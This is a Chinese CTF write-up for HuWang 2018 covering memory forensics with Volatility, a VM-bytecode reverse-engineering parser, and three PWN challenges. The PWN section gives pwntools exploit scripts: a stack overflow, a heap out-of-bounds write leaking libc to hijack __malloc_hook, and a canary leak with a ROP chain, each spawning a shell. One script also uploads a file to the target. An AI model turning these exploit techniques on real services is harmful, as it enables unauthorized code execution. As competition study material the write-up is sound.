HuWang2018 Whitzard

MISC

签到题

脑洞题,不想去猜key,就暴力了一下:

import base64
res = ''
a = "AAoHAR1TIiIkUFUjUFQgVyInVSVQJVFRUSNRX1YgXiJSVyJQVRs="
a = base64.b64decode(a)
for i in range(128):
    for j in a:
        res+=chr(i^ord(j))
print res

Easy dump

题目给了一个600M的镜像,是取证题
直接用volatility的imageinfo查看镜像,发现是windows内存镜像,并且可以看到版本信息

>>>python vol.py -f ./easy_dump.img imageinfo 

Volatility Foundation Volatility Framework 2.6
INFO    : volatility.debug    : Determining profile based on KDBG search...
          Suggested Profile(s) : Win7SP1x64, Win7SP0x64, Win2008R2SP0x64, Win2008R2SP1x64_24000, Win2008R2SP1x64_23418, Win2008R2SP1x64, Win7SP1x64_24000, Win7SP1x64_23418
                     AS Layer1 : WindowsAMD64PagedMemory (Kernel AS)
                     AS Layer2 : FileAddressSpace (/home/blackmax/download/volatility/easy_dump.img)
                      PAE type : No PAE
                           DTB : 0x187000L
                          KDBG : 0xf80004006070L
          Number of Processors : 1
     Image Type (Service Pack) : 0
                KPCR for CPU 0 : 0xfffff80004007d00L
             KUSER_SHARED_DATA : 0xfffff78000000000L
           Image date and time : 2018-09-30 05:30:17 UTC+0000
     Image local date and time : 2018-09-30 13:30:17 +0800

volatility提供很多查看当时系统状态信息的指令,我们先用pslist查看当时的进程,发现有个explorer,notepad等常被用来出题的进程,这里只列出这些,实际还有其他一些程序

0xfffffa80083f4060 notepad.exe            2952   1260      1       57      1      0 2018-09-30 05:18:25 UTC+0000 
0xfffffa80083ea9f0 dllhost.exe            2740    612     10      197      1      0 2018-09-30 05:30:14 UTC+0000                                 
0xfffffa800a1a2b30 DumpIt.exe             2256   1260      2       43      1      1 2018-09-30 05:30:16 UTC+0000                                 
0xfffffa8009b1fb30 conhost.exe            2964    396      2       57      1      0 2018-09-30 05:30:16 UTC+0000
0xfffffa8009e03630 explorer.exe           1260   1172     34      953      1      0 2018-09-30 05:17:34 UTC

常见的情况会在notepad里开着一个文档藏一些和flag相关的信息,但是这题尝试查看notepad并没有发现一些有用的信息。再尝试从其他程序入手。volatility中对于windows下的程序有很多插件,比如iehistoty插件,可以很方便的查看ie浏览器的浏览记录。

>>>python vol.py -f ./easy_dump.img --profile=Win7SP1x64 iehistory

Volatility Foundation Volatility Framework 2.6
**************************************************
Process: 1260 explorer.exe
Cache type "URL " at 0x4235000
Record length: 0x100
Location: :2018093020181001: n3k0@file:///C:/phos.jpg
Last modified: 2018-09-30 13:19:21 UTC+0000
Last accessed: 2018-09-30 05:19:21 UTC+0000
File Offset: 0x100, Data Offset: 0x0, Data Length: 0x0
**************************************************
Process: 1260 explorer.exe
Cache type "URL " at 0x4235100
Record length: 0x100
Location: :2018093020181001: n3k0@:Host: ?????????
Last modified: 2018-09-30 12:43:38 UTC+0000
Last accessed: 2018-09-30 04:43:38 UTC+0000
File Offset: 0x100, Data Offset: 0x0, Data Length: 0x0
**************************************************
Process: 1260 explorer.exe
Cache type "URL " at 0x4235200
Record length: 0x100
Location: :2018093020181001: n3k0@file:///C:/phos.jpg
Last modified: 2018-09-30 13:30:14 UTC+0000
Last accessed: 2018-09-30 05:30:14 UTC+0000
File Offset: 0x100, Data Offset: 0x0, Data Length: 0x0
**************************************************

这里多条浏览记录都指向本地的一张叫phos.jpg的图片。说明这张图片应该有重要信息。我们接下来要想办法dump这张图片。
volatility同样有提供dump文件的插件,用filescan扫描一下文件列表,找到了这张jpg

0x00000000235bec20     12      0 R--r-- \Device\HarddiskVolume1\Windows\SysWOW64\kernel32.dll
0x00000000235c8770     32      0 RW---- \Device\HarddiskVolume1\phos.jpg
0x00000000235c91c0     15      1 R--r-d \Device\HarddiskVolume1\Windows\System32\en-US\KernelBase.dll.mui
0x00000000235c95b0      2      0 RW-rwd \Device\HarddiskVolume1\$Directory

记下偏移0x00000000235c8770,使用dumpfiles把这张图片dump出来

python vol.py -f ./easy_dump.img --profile=Win7SP1x64 dumpfiles -Q 0x00000000235c8770 --name -D ~/CTF/HWB

图片打开并没有直接显示flag相关的信息,猜测是jpg隐写,先用010editor打开发现藏了一个zip压缩包,可以手动提取也可以直接用binwalk提取这个zip。
解压之后里面有个message.img镜像,先strings一下,得到一堆数据和一个奇怪的字符串yispn!buwh_qcfd_ebo_mglzs。看起来是个加密后的flag
file message.img可以看到是linux下的filesystem data。使用mount指令挂载之后查看里面的hint.txt文件。文件中有很多数据,第二个数几乎都是从10-269递增,然后第一位数增1,同样第一位也是从10一直增到269.但仔细查看就会发现,中间有不连续的数据存在

29 190
29 191
29 192
29 193
29 194
29 195
29 196
29 197
29 208
29 209
29 210
29 211
29 212
29 224

根据提示,txt的数据数量大约为两个相同的数相乘,这容易联想到是个二维码,存在和不存在的数据代表二维码上的黑点和白点
脚本如下:

#include <iostream>
#include <bits/stdc++.h>

using namespace std;

bool mp[275][275];

int main()
{
    freopen("./hint.txt","r",stdin);
    freopen("./out2.txt","w",stdout);
    memset(mp,0,sizeof(mp));
    int x, y;
    while (scanf("%d%d",&x,&y)!= EOF){
        mp[x][y]=true;
    }
    for (int i = 0; i < 270; i++){
            for (int j = 0; j < 270; ++j){

                if (mp[i][j]){
                    printf(" ");//白色像素
                }
                else printf("#");//黑色像素
            }
            printf("\n");

    }
    return 0;
}

直接以文本形式绘出二维码,把字体调的很小之后就可以看出是二维码了。扫码得到维吉尼亚的密码aeolus,解密得到flag。

PWN

task_gettingStart

这题有一个overflow的漏洞,只要将v8覆盖成0.1就能执行system("/bin/sh")了查一下浮点数的表示就行了

if ( v7 != 0x7FFFFFFFFFFFFFFFLL || v8 != 0.1 )
  {
    puts("Try again!");
  }
  else
  {
    printf("HuWangBei CTF 2018 will be getting start after %g seconds...\n", &buf, v8);
    system("/bin/sh");
  }

payload如下:

payload=p64(0)+p64(0xa39)+p64(0)+p64(0x7fffffffffffffff)+p64(0x3FB999999999999A)

cart

越界任意地址写。

from pwn import *
code = ELF('./task_shoppingCart', checksec=False)
context.arch = code.arch
context.log_level = 'debug'

def add(size, name):
    r.sendlineafter('buy!\n', '1')
    r.sendlineafter('?\n', str(size))
    if size > 0:
        r.sendafter('?\n', flat(name))

def fre(idx):
    r.sendlineafter('buy!\n', '2')
    r.sendlineafter('?\n', str(idx))

def edit(idx, payload):
    r.sendlineafter('buy!\n', '3')
    r.sendlineafter('?\n', str(idx))
    r.sendafter('?\n', flat(payload))

def make_money():
    r.sendlineafter('!\n', '1')
    r.sendlineafter('?\n', 'AAAAAAA')

def login():
    for i in range(20):
        make_money()
    r.sendlineafter('man!\n', '3')

def exploit(r):
    login()
    add(1000, 'qwe')
    add(1000, 'sh\x00')
    fre(0)
    add(0, '')
    r.sendlineafter('buy!\n', '3')
    r.sendlineafter('?\n', str(2))
    r.recvuntil('OK, what would you like to modify ')
    tmp = r.recvline()[:6]
    assert tmp[-1] == '\x7f'
    libc.address = u64(tmp + '\0\0') - libc.sym['__malloc_hook'] - 0x448
    info('%016x libc.address', libc.address)
    r.sendline('qwe')
    edit(-1, libc.address+0x3c3ef8)
    edit(-21, libc.sym['system'])
    fre(1)
    r.sendlineafter('$ ', 'cd /tmp')
    r.sendlineafter('$ ', 'cat << EOF > x.b64')
    r.sendline(read('./x').encode('base64'))
    r.sendline('EOF')

    r.interactive()

huwang (赛后)

先设置round=-1进行交互,程序会循环MD5,此时文件内容为空;另开一个再交互,MD5即为16个NULL的MD5。

name填0x19个字符即可泄漏canary,occupation也塞满,然后栈溢出。

from pwn import *
code = ELF('./huwang', checksec=False)
context.arch = code.arch
context.log_level = 'debug'

def exploit(r):
    name = 'A'*0x19
    r.sendlineafter('>> \n', '666')
    r.sendafter('\n', name)
    r.sendlineafter('\n', 'y')
    r.sendlineafter('\n', '1')
    r.sendafter('\n', 'J\xe7\x136\xe4K\xf9\xbfy\xd2u.#H\x18\xa5')
    r.sendafter('?', 'a'*0xff)
    r.recvuntil('AAAAAAAAAAAAAAAAAAAAAAAAA')
    canary = u64('\0' + r.recv(7))
    info('%016x canary', canary)
    r.sendlineafter('[Y/N]\n', 'Y')
    pop_rdi_ret = gadget('pop rdi; ret')
    leave_ret = gadget('leave; ret')
    buf = 0x603800
    r.send(flat(
        'A'*0x108,
        canary,
        buf, 
        pop_rdi_ret, code.got['read'],
        code.plt['puts'],
        make_rop([0x401550, 0x40156A], code.got['read'], [0, buf, 0x100], rbp=buf),
        leave_ret,
    ))

    r.recvline()
    tmp = r.recvline().strip() + '\0\0'
    libc.address = u64(tmp) - libc.sym['read']

    r.send(flat(
        0, 
        pop_rdi_ret, libc.search('/bin/sh').next(),
        libc.sym['system'],
    ))

    r.interactive()

RE

RERERE

搜索字符串找到main函数,发现很多函数都是用通过一个函数表调用的。
依次查看调用的几个函数,从sub_401530函数中可以看出明显的VM特征,而之前读取的unk_404018即为VM代码。
因为VM代码较长,将每个指令的作用还原后,我们用python写了个parser来翻译:

import struct

p=0

def out(x):
    print str(p)+ ' '+x

s=open('vm','rb').read()
f = struct.Struct('>I')
ss=''
hashp=0
while p < len(s):
    if s[p] == 'P':
        out('reg' + str(ord(s[p+1]) >> 4) + '++')
        p += 2
    elif s[p] == 'N':
        out('reg' + str(ord(s[p+1]) >> 4) + '--')
        p += 2
    elif s[p] == 'G':
        out('reg' + str(ord(s[p+1]) >> 4) + ' ^= reg'+ str(ord(s[p+1])&0xF) )
        p += 2
    elif s[p] == 'Y':
        out('reg' + str(ord(s[p+1]) >> 4) + ' -= reg'+ str(ord(s[p+1])&0xF) )
        p += 2
    elif s[p] == 'J':
        out('reg' + str(ord(s[p+1]) >> 4) + ' &= reg'+ str(ord(s[p+1])&0xF) )
        p += 2
    elif s[p] == 'S':
        out('reg' + str(ord(s[p+1]) >> 4) + ' += reg'+ str(ord(s[p+1])&0xF) )
        p += 2
    elif s[p] == 'X':
        out('reg' + str(ord(s[p+1]) >> 4) + ' *= reg'+ str(ord(s[p+1])&0xF) )
        p += 2
    elif s[p] == 'O':
        out('mem = ' + (s[p+1:p+5]).encode('hex') )
        if((f.unpack(s[p+1:p+5])[0]) > 1000):
            ss+=(s[p+1:p+5]).encode('hex')
        p += 5
    elif s[p] == 'T':
        out('reg' + str(ord(s[p+1]) >> 4) + ' = mem')
        p += 2
    elif s[p] == 'Q':
        out('reg' + str(ord(s[p+1]) >> 4) + ' = reg'+ str(ord(s[p+1])&0xF) )
        p += 2
    elif s[p] == 'F':
        out('reg' + str(ord(s[p+1]) >> 4) + ' = hash[hashp]')
        p += 2
    elif s[p] == 'U':
        out('rep reg3 ' + str(p-ord(s[p+1])) )
        p += 2
    elif s[p] == 'H':
        out('cmp reg' + str(ord(s[p+1]) >> 4) + ' reg'+str(ord(s[p+1])&0xF) )
        p += 2
    elif s[p] == 'D':
        out('jl ' + str(p+2+ord(s[p+1])) )
        p += 2
    elif s[p] == 'M':
        out('jg ' + str(p+2+ord(s[p+1])) )
        p += 2
    elif s[p] == 'K':
        out('jz ' + str(p+2+ord(s[p+1])) )
        p += 2
    elif s[p] == 'I':
        hashp+=1
        out('hashp++')
        p += 1
    elif s[p] == 'V':
        hashp-=1
        out('hashp--')
        p += 1
    elif s[p] == 'C':
        out('exit' )
        p += 1
    else:
        out(s[p])
        p += 1
print ss[::-1].upper()

翻译后的结果:

0 mem = 47
5 rep reg3 0
7 reg3 = mem
9 reg0 = hash[hashp]
11 reg2 ^= reg2
13 cmp reg0 reg2
15 jz 68
17 hashp++
18 mem = 70
23 reg1 = mem
25 cmp reg0 reg1
27 jg 68
29 mem = 48
34 reg1 = mem
36 cmp reg0 reg1
38 jl 62
40 mem = 57
45 reg1 = mem
47 cmp reg0 reg1
49 jl 62
51 mem = 65
56 reg0 = mem
58 cmp reg0 reg1
60 jl 68
62 reg0 ^= reg0
64 cmp reg0 reg0
66 jz 73
68 reg0 ^= reg0
70 reg0++
72 exit
73 rep reg3 9
75 mem = 7
80 reg3 = mem
82 reg1 = 0
84 hashp--
85 reg0 = hash[hashp]
87 mem = 48
92 reg2 = mem
94 reg0 -= reg2
96 mem = 10
101 reg2 = mem
103 cmp reg0 reg2
105 jl 116
107 mem = 7
112 reg2 = mem
114 reg0 -= reg2
116 mem = 16
121 reg2 = mem
123 reg1 *= reg2
125 reg1 += reg0
127 rep reg3 84
129 mem = 3954878541
134 reg2 = mem
136 cmp reg1 reg2
138 reg0 ^= reg0
140 jz 145
142 reg0++
144 exit
145 mem = 7
150 reg3 = mem
152 reg1 ^= reg1
154 hashp--
155 reg0 = hash[hashp]
157 mem = 48
162 reg2 = mem
164 reg0 -= reg2
166 mem = 10
171 reg2 = mem
173 cmp reg0 reg2
175 jl 186
177 mem = 7
182 reg2 = mem
184 reg0 -= reg2
186 mem = 16
191 reg2 = mem
193 reg1 *= reg2
195 reg1 += reg0
197 rep reg3 154
199 mem = 1406938271
204 reg2 = mem
206 cmp reg1 reg2
208 reg0 ^= reg0
210 jz 215
212 reg0++
214 exit
215 mem = 7
220 reg3 = mem
222 reg1 ^= reg1
224 hashp--
225 reg0 = hash[hashp]
227 mem = 48
232 reg2 = mem
234 reg0 -= reg2
236 mem = 10
241 reg2 = mem
243 cmp reg0 reg2
245 jl 256
247 mem = 7
252 reg2 = mem
254 reg0 -= reg2
256 mem = 16
261 reg2 = mem
263 reg1 *= reg2
265 reg1 += reg0
267 rep reg3 224
269 mem = 1858824029
274 reg2 = mem
276 cmp reg1 reg2
278 reg0 ^= reg0
280 jz 285
282 reg0++
284 exit
285 mem = 7
290 reg3 = mem
292 reg1 ^= reg1
294 hashp--
295 reg0 = hash[hashp]
297 mem = 48
302 reg2 = mem
304 reg0 -= reg2
306 mem = 10
311 reg2 = mem
313 cmp reg0 reg2
315 jl 326
317 mem = 7
322 reg2 = mem
324 reg0 -= reg2
326 mem = 16
331 reg2 = mem
333 reg1 *= reg2
335 reg1 += reg0
337 rep reg3 294
339 mem = 2143952328
344 reg2 = mem
346 cmp reg1 reg2
348 reg0 ^= reg0
350 jz 355
352 reg0++
354 exit
355 mem = 7
360 reg3 = mem
362 reg1 ^= reg1
364 hashp--
365
        

Hacking more

...